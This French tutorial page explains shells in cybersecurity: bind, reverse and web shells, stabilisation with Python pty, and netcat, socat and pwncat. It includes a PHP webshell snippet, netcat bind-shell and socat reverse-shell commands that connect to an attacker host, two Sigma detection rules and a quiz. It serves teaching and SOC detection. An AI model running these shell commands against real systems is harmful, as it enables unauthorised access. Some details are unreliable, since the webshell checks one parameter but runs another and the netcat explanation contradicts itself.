Shell

Shell

Ce cours a pour but de présenter le concept de shell, tout d’abord en informatique, puis dans le cadre de la cybersécurité. Nous aborderons alors les différents types de shell utilisés par les attaquants, les techniques de stabilisation de shell et les méthodes de détection notamment au sein d’un SOC.

Définitions

Le shell

Un shell, par définition coquille est un programme permettant d’interagir avec le système.

Grâce au shell nous pouvons lancer des programmes, par exemple la commande ls pour lister les fichiers présents dans un dossier. Certaines commandes font partie intégrantes du shell, la commande cd par exemple. On parle alors de builtins fonction.

Les shells que l’on utilise aujourd’hui gèrent des concepts plus larges, comme les redirections ou les pipes.
Voici quelques exemples de shell utilisé aujourd’hui :

  • Bash : Shell Linux le plus rependu
  • ZSH : Notamment présent sur Kali Linux
  • Fish : Shell Linux
  • Powershell : Shell Windows
  • Cmd : Shell historique DOS (Windows)

Le terminal

Un autre terme utilisé lorsque l’on parle du shell est le terminal. Bien que très souvent liés, il s’agit de deux concepts distincts.

Le terminal est le programme qui lit les entrées du clavier, les fournies au shell puis affiche le résultat.

Shell et cybersécurité

L’un des objectifs des attaquants, peut être de forcer un système distant à exécuter un code arbitraire. Lorsque cela est possible, ces derniers vont faire en sorte d’obtenir un shell, leur permettant d’avoir un accès au système.

Aller plus loin

La réalisation d’un shell minimaliste est en fait une tâche assez simple que je vous invite à réaliser via le tutoriel suivant :

https://brennan.io/2015/01/16/write-a-shell-in-c

Les différents types de shell

Bind shell

Un bind shell permet à l’attaquant d’ouvrir un port sur la machine cible sur lequel une fois connecté, un shell se présentera.

Reverse shell

Lors de l’utilisation d’un reverse shell, la machine cible se connecte à l’attaquant. Cette technique est particulièrement intéressante car elle permet d’outrepasser les pare-feux, ces derniers peuvent bloquer certains ports en entrée.

Web shell

Un webshell a la spécificité d’être exécuté sur un serveur web, ainsi ce dernier sera écrit dans un langage supporté par le serveur. Ce dernier communiquera avec l’attaquant non pas au travers des protocoles TCP/UDP, mais directement via la couche HTTP. Voici un exemple de reverse shell php :

<?php
    if(isset($_GET['cmd']))
    {
        echo system($_GET['command']);
    }
?>

L’attaquant utilisera donc ce dernier de la façon suivante :

https://cible.fr/ressource?cmd=<commande_malveillante>

Un webshell peut-être déposé de divers façons, voici une liste non-exhaustive :

  • Exploitation d’un formulaire d’upload
  • Injection SQL
  • XSS
  • RCE
  • LFI/RFI

Obtention d’un shell et techniques de stabilisation

Nous allons décrire dans cette section comment obtenir un shell puis le stabiliser. La phase de stabilisation consiste à obtenir un shell plus interactif possible et robuste, permettant à l’attaquant de poursuivre son intrusion aisément.

Netcat

L’obtention d’un shell basique peut s’avérer relativement simple. Netcat est un outil permettant la manipulation des socket réseaux, ce dernier est présent par défaut sur de nombreuses distributions Linux et peut être installé également sous Windows.
Voici un exemple de bind shell Windows relativement simple utilisant Netcat :

nc.exe -nvlp 4242 -e cmd.exe
nc <ip_cible> 4242

La première commande, à exécuter depuis la machine de l’attaquant permet d’écouter sur le port 4242 en y attachant le processus cmd.
La seconde commande se connecte sur le port ouvert afin d’avoir accès au cmd en question et ainsi avoir un accès à la machine cible de façon interactive.

Python

L’une des techniques de stabilisation les plus simples et rependues consiste à utiliser les pseudo-terminaux python. Étant donné que python est installé par défaut sur de nombreuses distributions Linux cette technique fonctionne dans de nombreux cas :

python -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
CTRL+Z
stty raw -echo; fg

Ces commandes permettent respectivement :

  • D’utiliser le module python pty (pseudo-terminaux), permettant d’avoir un shell plus complet.
  • Définir la variable d’environnement TERM comme étant xterm, cela indique que le terminal utilisé est similaire à xterm. Permettant d’avoir accès à certaines commande comme vim.
  • Définir en arrière-plan le shell pour revenir à notre terminal.
  • Supprimer l’affichage de notre terminal et revenir au shell, cela permet d’avoir accès telles que l’autocomplétion des commandes.

Socat

Socat est relativement semble à netcat, il s’agit également d’un outil qui permet la manipulation des sockets, celui-ci présente quelques avantages :

  • Gère l’envoi des signaux
  • Affichage des erreurs
  • Permet la mise en place de communications chiffrées

Il est à noter que netcat est rarement installé par défaut, c’est pourquoi il faudra pour l’attaquant ajouter ce dernier sur la machine. Il existe notamment des versions pré compilées qui facilitent cette étape. Voici un exemple d’utilisation de soc :

socat TCP-L:<port> -
socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:powershell.exe,pipes
  • La première commande à exécuter sur la machine de l’attaquant permet de recevoir le reverse shell (équivalent de nc -lnvp <port>)
  • La seconde permet de connecter un shell à la machine de l’attaquant, l’option pipes permet d’obtenir une sortie style « Unix ».

Pwncat

Pwncat est un outil permettant de créer un reverse shell qui possède les caractéristiques suivantes :

  • Évasion IDS/IPS
  • Gestion des signaux
  • Peut agir en tant que proxy (permettant ainsi de pivoter dans un réseau distant)
  • Facilitation de la post-exploitation : pwncat embarque des fonctions intégrées, permettant directement d’énumérer la machine cible

Il ne s’agit que d’un échantillon des possibilités offertes par pwncat, la liste complète est disponible le site de l’outil :

https://pwncat.org

Détection

Diverses règles de détection peuvent être mises en place afin de détecter ces comportements.
Voici une règle sigma qui détecte quand un pseudo terminal est lancé via python :

title: Python Spawning Pretty TTY
id: c4042d54-110d-45dd-a0e1-05c47822c937
related:
    - id: 32e62bc7-3de0-4bb1-90af-532978fe42c0
      type: similar
status: experimental
description: Detects python spawning a pretty tty which could be indicative of potential reverse shell activity
references:
    - https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence/
author: Nextron Systems
date: 2022/06/03
modified: 2023/06/16
tags:
    - attack.execution
    - attack.t1059
logsource:
    category: process_creation
    product: linux
detection:
    selection_img:
        - Image|endswith:
              - '/python'
              - '/python2'
              - '/python3'
        - Image|contains:
              - '/python2.'  # python image is always of the form ../python3.10; ../python is just a symlink
              - '/python3.'
    selection_cli_1:
        CommandLine|contains|all:
            - 'import pty'
            - '.spawn('
    selection_cli_2:
        CommandLine|contains: 'from pty import spawn'
    condition: selection_img and 1 of selection_cli_*
falsepositives:
    - Unknown
level: high

Nous pouvons également surveiller la création de process de type shell via php, ce qui peut-être un indicateur de reverse-shell :

title: Potential PHP Reverse Shell
id: c6714a24-d7d5-4283-a36b-3ffd091d5f7e
status: test
description: |
    Detects usage of the PHP CLI with the "-r" flag which allows it to run inline PHP code. The rule looks for calls to the "fsockopen" function which allows the creation of sockets.
    Attackers often leverage this in combination with functions such as "exec" or "fopen" to initiate a reverse shell connection.    
references:
    - https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
    - https://www.revshells.com/
author: '@d4ns4n_'
date: 2023/04/07
tags:
    - attack.execution
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|contains: '/php'
        CommandLine|contains|all:
            - ' -r '
            - 'fsockopen'
        CommandLine|contains:
            - 'ash'
            - 'bash'
            - 'bsh'
            - 'csh'
            - 'ksh'
            - 'pdksh'
            - 'sh'
            - 'tcsh'
            - 'zsh'
    condition: selection
falsepositives:
    - Unknown
level: high

Bien entendu les attaquants peuvent trouver des techniques permettant d’outrepasser les détections. Je vous invite à consulter le lien suivant particulièrement intéressant sur la mise en place d’un shell fonctionnant via le protocole ICMP :

https://ghost.neopipe.fr/icmp-reverse-shell/

Quiz

Pour finir voici un case qui résume les points abordés ainsi que d’autres points pour lesquels je vous invite à faire des recherches :

Shell

1 / 13

Qu’est-ce qu’un shell ?

2 / 13

Quel outil du framework metasploit permet de générer un shell ?

3 / 13

Parmis les outils suivants, lesquel facilitent la phase de post-exploitation :

4 / 13

A quoi correspond anagramme CLI ?

5 / 13

Qu’est-ce qu’un terminal ?

6 / 13

Quel langage est fréquemment utilisé pour la mise en place de reverse shell ?

7 / 13

Parmi les propositions suivantes, lesquelles representent un type de shell existant :

8 / 13

Netcat est installé par défaut sur la plupart des distributions Linux

9 / 13

Lors de l’utilisation d’un reverse shell :

10 / 13

Quelle valeur du champ type ICMP correspond à un message de type « echo » ?

11 / 13

Citer un outil permettant de manipuler les socket souvent utilisé lors du déploiement d’un shell :

12 / 13

A quel outil correspond la syntaxe suivante :
<nom_outil> TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:powershell.exe,pipes

13 / 13

Cocher les caractéristiques qui correspondent à socat :

Your score is

0%

Références

Définitions

Types de shell et stabilisation

Détection